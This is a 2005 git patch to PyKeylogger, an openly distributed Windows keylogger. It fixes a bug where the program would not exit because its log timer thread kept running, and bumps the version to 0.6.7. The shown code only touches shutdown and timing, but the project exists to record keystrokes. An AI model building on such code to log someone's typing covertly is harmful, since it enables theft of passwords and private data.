From 716bcd7adebde8fd1f4f61ac437a84285365d47d Mon Sep 17 00:00:00 2001 From: nanotube Date: Fri, 25 Nov 2005 15:25:58 +0000 Subject: [PATCH] fixed bug where keylogger would not properly exit due to still-running timer thread. --- CHANGELOG.TXT | 5 +++++ keylogger.pyw | 6 +++++- mytimer.py | 2 +- version.py | 2 +- 4 files changed, 12 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.TXT b/CHANGELOG.TXT index 377f9ad..30fcbc3 100644 --- a/CHANGELOG.TXT +++ b/CHANGELOG.TXT @@ -1,6 +1,11 @@ PyKeylogger Changelog --------------------- +----- +Version 0.6.7 (2005-11-25) + +*) Fixed bug where keylogger would not properly exit due to the running timer thread. +*) Fixed bug in timer module where timer would not terminate even after its task is completed. ----- Version 0.6.6 (2005-11-23) diff --git a/keylogger.pyw b/keylogger.pyw index 9f6f311..fa7f2e0 100644 --- a/keylogger.pyw +++ b/keylogger.pyw @@ -35,10 +35,14 @@ class KeyLogger: self.lw.WriteToLogFile(event) if event.Key == self.options.exitKey: - sys.exit() + self.stop() return True + def stop(self): + self.lw.timer.cancel() + sys.exit() + def ParseOptions(self): '''Read command line options ''' diff --git a/mytimer.py b/mytimer.py index e6be990..581c227 100644 --- a/mytimer.py +++ b/mytimer.py @@ -36,7 +36,7 @@ class MyTimer(Thread): self.finished.wait(self.interval) if not self.finished.isSet(): self.function(*self.args, **self.kwargs) - + self.finished.set() if __name__ == '__main__': #some test code here. diff --git a/version.py b/version.py index 8bc7860..edf2161 100644 --- a/version.py +++ b/version.py @@ -1,6 +1,6 @@ name = "Python Keylogger" -version = "0.6.6" +version = "0.6.7" description = "Simple Python Keylogger for Windows" url = "http://pykeylogger.sourceforge.net" license = "GPL" -- 2.45.1